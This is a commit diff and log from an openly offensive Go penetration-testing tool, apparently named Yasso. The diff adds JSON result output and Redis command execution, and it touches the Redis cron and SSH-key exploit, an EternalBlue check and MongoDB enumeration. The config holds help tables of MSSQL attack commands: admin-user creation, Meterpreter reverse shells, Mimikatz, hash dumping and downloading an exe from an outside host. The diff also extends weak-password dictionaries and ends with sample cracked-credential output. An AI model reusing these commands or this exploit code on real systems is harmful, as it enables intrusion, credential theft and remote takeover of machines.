+		EachDisMap(ip, ports, &wg, nil)
 	}
 	wg.Wait()
 }

-func EachDisMap(host string, ports []int, w *sync.WaitGroup) {
+func DisMapScanJson(in *[]JsonOut, ports []int) (out []JsonOut) {
+	var wg sync.WaitGroup
+	for _, v := range *in {
+		wg.Add(1)
+		s := EachDisMap(v.Host, ports, &wg, &v)
+		out = append(out, s)
+	}
+	wg.Wait()
+	return out
+}
+
+func EachDisMap(host string, ports []int, w *sync.WaitGroup, v *JsonOut) JsonOut {
 	defer w.Done()
 	var wg sync.WaitGroup
 	// 计算一个协程需要扫描多少端口
@@ -94,26 +106,29 @@ func EachDisMap(host string, ports []int, w *sync.WaitGroup) {
 	for i := 1; i <= thread; i++ {
 		wg.Add(1)
 		tmp := all[i]
-		go func() {
+		go func(out *JsonOut) {
 			defer wg.Done()
 			// 1,2  2,3
 			//Println(i,thread)
 			for _, port := range tmp {
 				// 遍历每一个端口列表
-				DisMapConn(host, port)
+				DisMapConn(host, port, v)
 			}
-
-		}()
+		}(v)
 	}
 	wg.Wait()
+	return *v
 }

-func DisMapConn(host string, port int) bool {
+func DisMapConn(host string, port int, out *JsonOut) bool {

 	url := ParseUrl(host, strconv.Itoa(port))
 	for _, r := range Identify(url, TimeDuration) {
 		if r.RespCode != "" {
+			lock.Lock()
+			out.WebHosts = append(out.WebHosts, fmt.Sprintf("%v %v %v %v", r.RespCode, r.Url, r.Result, r.Title))
 			Println(fmt.Sprintf("[+] %v %v %v %v", r.RespCode, r.Url, r.Result, r.Title))
+			lock.Unlock()
 		}
 	}
 	return true
--- a/cmd/eternalblue.go
+++ b/cmd/eternalblue.go
@@ -91,7 +91,10 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) {
 	treeConnectRequest[32] = userID[0]
 	treeConnectRequest[33] = userID[1]
 	// TODO change the ip in tree path though it doesn't matter
-	conn.Write(treeConnectRequest)
+	_, err = conn.Write(treeConnectRequest)
+	if err != nil {
+		return false, err
+	}

 	if n, err := conn.Read(reply); err != nil || n < 36 {
 		return false, err
--- a/cmd/ftp.go
+++ b/cmd/ftp.go
@@ -51,6 +51,9 @@ func FtpConn(info config.HostIn, user, pass string) (bool, error) {
 	if err == nil {
 		err = conn.Login(user, pass)
 		if err == nil {
+			if pass == "" {
+				Println(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
+			}
 			flag = true
 		}
 	}
--- a/cmd/json.go
+++ b/cmd/json.go
@@ -0,0 +1,30 @@
+package cmd
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+)
+
+// 输出json格式数据
+
+type JsonOut struct {
+	Host     string                         `json:"HostName"`
+	Ports    []int                          `json:"Ports"`
+	WeakPass []map[string]map[string]string `json:"WeakPass"`
+	WebHosts []string                       `json:"Web"`
+}
+
+func Out(filename string, js []JsonOut) {
+	file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0666)
+	if err != nil {
+		Println(fmt.Sprintf("[!] create json file failed %v", err))
+		return
+	}
+	b, err := json.Marshal(&js)
+	if err != nil {
+		Println(fmt.Sprintf("[!] json marshal is failed %v", err))
+		return
+	}
+	_, _ = file.Write(b)
+}
--- a/cmd/mongo.go
+++ b/cmd/mongo.go
@@ -29,7 +29,7 @@ func BruteMongoByUser() {
 	}
 	var ips []string
 	var err error
-	if Hosts != "" {
+	if Hosts != "" && ConnHost == "" {
 		ips, err = ResolveIPS(Hosts)
 		if err != nil {
 			Println(fmt.Sprintf("resolve hosts address failed %v", err))
@@ -47,7 +47,7 @@ func BruteMongoByUser() {
 	}
 }

-func MongoAuth(info config.HostIn, user, pass string) (bool, error) {
+func MongoAuth(info config.HostIn, user, pass string) (*mgo.Session, bool, error) {

 	conf := &mgo.DialInfo{
 		Dial: func(addr net.Addr) (net.Conn, error) {
@@ -66,13 +66,13 @@ func MongoAuth(info config.HostIn, user, pass string) (bool, error) {
 	if err == nil {
 		err = db.Ping()
 		if err != nil {
-			return false, err
+			return nil, false, err
 		}
-		defer db.Close()
-		return true, nil
+		//defer db.Close()
+		return db, true, nil

 	}
-	return false, err
+	return nil, false, err
 }

 func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
@@ -120,3 +120,17 @@ func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
 	}
 	return flag, nil
 }
+
+func MongodbExec(session *mgo.Session) (string, error) {
+	var s string
+	dbs, err := session.DatabaseNames()
+	for _, db := range dbs {
+		if collections, err := session.DB(db).CollectionNames(); err == nil {
+			s += fmt.Sprintf("%s %v\n", db, collections)
+		}
+	}
+	if err != nil {
+		return "", err
+	}
+	return s, nil
+}
--- a/cmd/redis.go
+++ b/cmd/redis.go
@@ -34,7 +34,7 @@ func init() {
 	RedisCmd.Flags().StringVar(&RemoteHost, "rebound", "", "Rebound shell address (eg.) 192.168.1.1:4444")
 	RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address")
 	RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass")
-
+	RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command")
 }

 func BruteRedisByUser() {
@@ -59,7 +59,7 @@ func BruteRedisByUser() {
 			Println(Clearln + "[*] May be you want to brute? try to add --crack")
 		}
 	}
-	if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "") {
+	if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") {
 		var (
 			conn   net.Conn
 			status bool
@@ -76,6 +76,10 @@ func BruteRedisByUser() {
 				Println(fmt.Sprintf("Redis UnAuth failed %v", err))
 			}
 		}
+		if SQLCommand != "" {
+			RedisExec(conn, SQLCommand)
+			return
+		}
 		if status == true {
 			RedisExploit(conn, RemoteHost, RemotePublicKey)
 		}
@@ -269,9 +273,25 @@ func RedisExploit(conn net.Conn, RemoteHost string, Filename string) {
 	}
 }

+func RedisExec(conn net.Conn, cmd string) {
+	if cmd != "" {
+		_, err := conn.Write([]byte(fmt.Sprintf("%s\r\n", cmd)))
+		if err != nil {
+			Println(fmt.Sprintf("[!] %v", err))
+			return
+		}
+		reply, err := RedisReply(conn)
+		if err != nil {
+			Println(fmt.Sprintf("[!] %v", err))
+			return
+		}
+		Println(fmt.Sprintf("%v", string(reply)))
+	}
+}
+
 func RedisCron(conn net.Conn, RemoteHost string) (bool, error) {
-	c, s, e := RedisWrite(conn)
-	Println(fmt.Sprintf("%v %v %v", c, s, e))
+	c, s, _ := RedisWrite(conn)
+	Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s))
 	// 先解析RemoteHost参数
 	var (
 		remote = strings.Split(RemoteHost, ":")
@@ -324,9 +344,22 @@ func RedisCron(conn net.Conn, RemoteHost string) (bool, error) {
 					return false, err
 				}
 				if strings.Contains(reply, "OK") {
+					Println("[+] save corn success")
 					flag = true
 				}
 			}
+			// 恢复原始的dbfilename
+			_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
+			if err != nil {
+				return false, err
+			}
+			reply, err = RedisReply(conn)
+			if err != nil {
+				return false, err
+			}
+			if strings.Contains(reply, "OK") {
+				Println("[+] Restore the original dbfilename")
+			}
 		}
 	}
 	return flag, nil
@@ -383,6 +416,18 @@ func RedisKey(conn net.Conn, filename string) (bool, error) {
 					flag = true
 				}
 			}
+			// 恢复原始的dbfilename
+			_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
+			if err != nil {
+				return false, err
+			}
+			reply, err = RedisReply(conn)
+			if err != nil {
+				return false, err
+			}
+			if strings.Contains(reply, "OK") {
+				Println("[+] Restore the original dbfilename")
+			}
 		}
 	}
 	return flag, nil
--- a/cmd/resolve.go
+++ b/cmd/resolve.go
@@ -52,13 +52,13 @@ func resolveIP(ip string) ([]string, error) {
 	var err error
 	switch footmark {
 	case "24":
-		var ip3 = strings.Join(strings.Split(ip[:len(ip)], ".")[0:3], ".")
+		var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
 		for i := 0; i <= 255; i++ {
 			temp = append(temp, ip3+"."+strconv.Itoa(i))
 		}
 		err = nil
 	case "16":
-		var ip2 = strings.Join(strings.Split(ip[:len(ip)], ".")[0:2], ".")
+		var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
 		for i := 0; i <= 255; i++ {
 			for j := 0; j <= 255; j++ {
 				temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -13,7 +13,7 @@ var (
 	RunICMP        bool          // 是否执行ICMP
 	Ports          string        // 需要解析的端口
 	Runtime        int           // 运行的线程
-	LogBool        bool          // 是否使用日志
+	JsonBool       bool          // 是否使用日志
 	PingBool       bool          // 是否执行ping操作
 	UserDic        string        // 爆破的用户名路径
 	PassDic        string        // 爆破的密码路径
--- a/cmd/ssh.go
+++ b/cmd/ssh.go
@@ -48,6 +48,7 @@ func BruteSshByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("ssh", UserDic, PassDic)
+			//fmt.Println(users, pass)
 			Println(Clearln + "[*] Brute Module [ssh]")
 			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
--- a/config/config.go
+++ b/config/config.go
@@ -33,33 +33,33 @@ var Userdict = map[string][]string{
 var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}

 var WarKitHelp = [][]string{
-	[]string{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
-	[]string{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
-	[]string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
-	[]string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
-	[]string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
-	[]string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
-	[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM`},
-	[]string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM"},
-	[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
-	[]string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with  NT AUTHORITY\\SYSTEM"},
-	[]string{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
-	[]string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
-	[]string{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
-	[]string{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
-	[]string{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
+	{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
+	{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
+	{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
+	{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
+	{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
+	{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
+	{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM`},
+	{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM"},
+	{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
+	{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with  NT AUTHORITY\\SYSTEM"},
+	{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
+	{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
+	{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
+	{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
+	{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
 }

 var SharpKitHelp = [][]string{
-	[]string{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
-	[]string{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
-	[]string{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
-	[]string{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
-	[]string{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
-	[]string{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
-	[]string{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
-	[]string{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
-	[]string{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
+	{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
+	{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
+	{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
+	{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
+	{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
+	{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
+	{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
+	{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
+	{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
 }

 var (
--- a/go.mod
+++ b/go.mod
@@ -6,6 +6,7 @@ require (
 	github.com/cheggaaa/pb/v3 v3.0.8
 	github.com/denisenkom/go-mssqldb v0.11.0
 	github.com/go-sql-driver/mysql v1.6.0
+	github.com/godror/godror v0.30.1
 	github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
 	github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
 	github.com/lib/pq v1.10.4
--- a/go.sum
+++ b/go.sum
@@ -140,10 +140,16 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2
 github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
 github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
 github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
+github.com/go-logfmt/logfmt v0.5.0 h1:TrB8swr/68K7m9CcGut2g3UOihhbcbiMAYiuTXdEih4=
+github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
 github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
 github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
 github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
 github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/godror/godror v0.30.1 h1:sstmD3Zeh/qqbdAWJV7OLaSUsM6f3lMk+X4mQU3xqmI=
+github.com/godror/godror v0.30.1/go.mod h1:aWbwHSee9mdUziQGnwuu3jfvVF+g08/r3hMbsAAba7I=
+github.com/godror/knownpb v0.1.0 h1:dJPK8s/I3PQzGGaGcUStL2zIaaICNzKKAK8BzP1uLio=
+github.com/godror/knownpb v0.1.0/go.mod h1:4nRFbQo1dDuwKnblRXDxrfCFYeT4hjg3GjMqef58eRE=
 github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
 github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0=
 github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
@@ -376,13 +382,17 @@ github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjY
 github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
 github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo=
 github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM=
+github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
 github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
+github.com/oklog/ulid/v2 v2.0.2 h1:r4fFzBm+bv0wNKNh5eXTwU7i85y5x+uwkxCUTNVQqLc=
+github.com/oklog/ulid/v2 v2.0.2/go.mod h1:mtBL0Qe/0HAx6/a4Z30qxVIAL1eQDweXq5lxOEiwQ68=
 github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
 github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
 github.com/panjf2000/ants/v2 v2.4.7 h1:MZnw2JRyTJxFwtaMtUJcwE618wKD04POWk2gwwP4E2M=
 github.com/panjf2000/ants/v2 v2.4.7/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A=
 github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
 github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
+github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o=
 github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
 github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c=
 github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
@@ -616,6 +626,7 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
 golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -763,6 +774,7 @@ golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
 golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
 google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
@@ -906,6 +918,7 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj
 google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
 google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
 google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
+google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ=
 google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
 gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
--- a/pass.txt
+++ b/pass.txt
@@ -1,3 +1,4 @@
 123456
 P@ssw0rd
 930517
+kali
--- a/test/test_json.go
+++ b/test/test_json.go
@@ -0,0 +1,14 @@
+package main
+
+import "Yasso/cmd"
+
+func main() {
+	_ = cmd.JsonOut{
+		Host:  "123456",
+		Ports: []int{25, 12, 33, 14, 55, 80, 443},
+		WeakPass: []map[string]map[string]string{
+			{"redis": map[string]string{"admin": "123456"}},
+		},
+		WebHosts: nil,
+	}
+}
--- a/user.txt
+++ b/user.txt
@@ -1,2 +1,5 @@
 administrator
 Oadmin
+kali
+root
+
Author	SHA1	Message	Date
sairson	6800b705cf	修复爆破是调用爆破call的bug，并完善空密码和空用户名抛出的panic	2022-01-28 21:44:26 +08:00
SaiRson	c4994fb6e2	Update README.md	2022-01-28 14:53:12 +08:00
SaiRson	5e557bd43c	Update README.md	2022-01-26 18:28:55 +08:00
sairson	8e055b4a81	修复当用户指定字典换行出现的问题，并且增强用户爆破时输入字典路径，增加--ud "administrator" --pd "123456,11123" 的格式	2022-01-26 18:24:52 +08:00
sairson	c5cb8e898f	修复ftp在爆破时未授权跑完默认字典	2022-01-15 21:40:09 +08:00
sairson	14b6b133c8	优化代码结构	2022-01-11 09:17:34 +08:00
sairson	5bfeb4a0c5	优化代码结构	2022-01-11 09:14:21 +08:00
sairson	97045ecf4e	优化代码结构	2022-01-11 09:09:52 +08:00
sairson	29ac430785	增加json格式结果输出	2022-01-10 18:31:58 +08:00
sairson	31806fc814	增加json格式结果输出	2022-01-10 17:47:57 +08:00
sairson	c793ff4145	增加redis在执行完成反弹shell和key写入后，回复dbfilename为dump.rdb	2022-01-10 11:45:01 +08:00
sairson	fcacf6d541	增加redis数据库sql查询	2022-01-10 11:23:23 +08:00
sairson	555bbc5558	修改爆破为非固定ants pool thread	2022-01-10 09:44:42 +08:00
				`@@ -0,0 +1 @@`
				[{"HostName":"192.168.248.1","Ports":[8089,135,80,5985,139,445,3306],"WeakPass":[{"smb":{"administrator":"930517"}},{"mysql":{"root":"root"}}],"Web":["200 http://192.168.248.1 [Nginx] Index of /","200 http://192.168.248.1:8089 None"]},{"HostName":"192.168.248.212","Ports":[445,80,135,139,3389,5985],"WeakPass":[{"smb":{"administrator":"P@ssw0rd"}}],"Web":["200 http://192.168.248.212 [IIS] IIS Windows Server"]},{"HostName":"192.168.248.219","Ports":[22,27017,21,5432,6379,11211],"WeakPass":[{"ssh":{"root":"kali"}},{"mongodb":{"null":"null"}},{"mongodb":{"admin":"123456"}},{"ftp":{"kali":"kali"}},{"postgres":{"admin":"admin@123"}},{"redis":{"null":"null"}},{"Memcached":{"null":"null"}}],"Web":null}]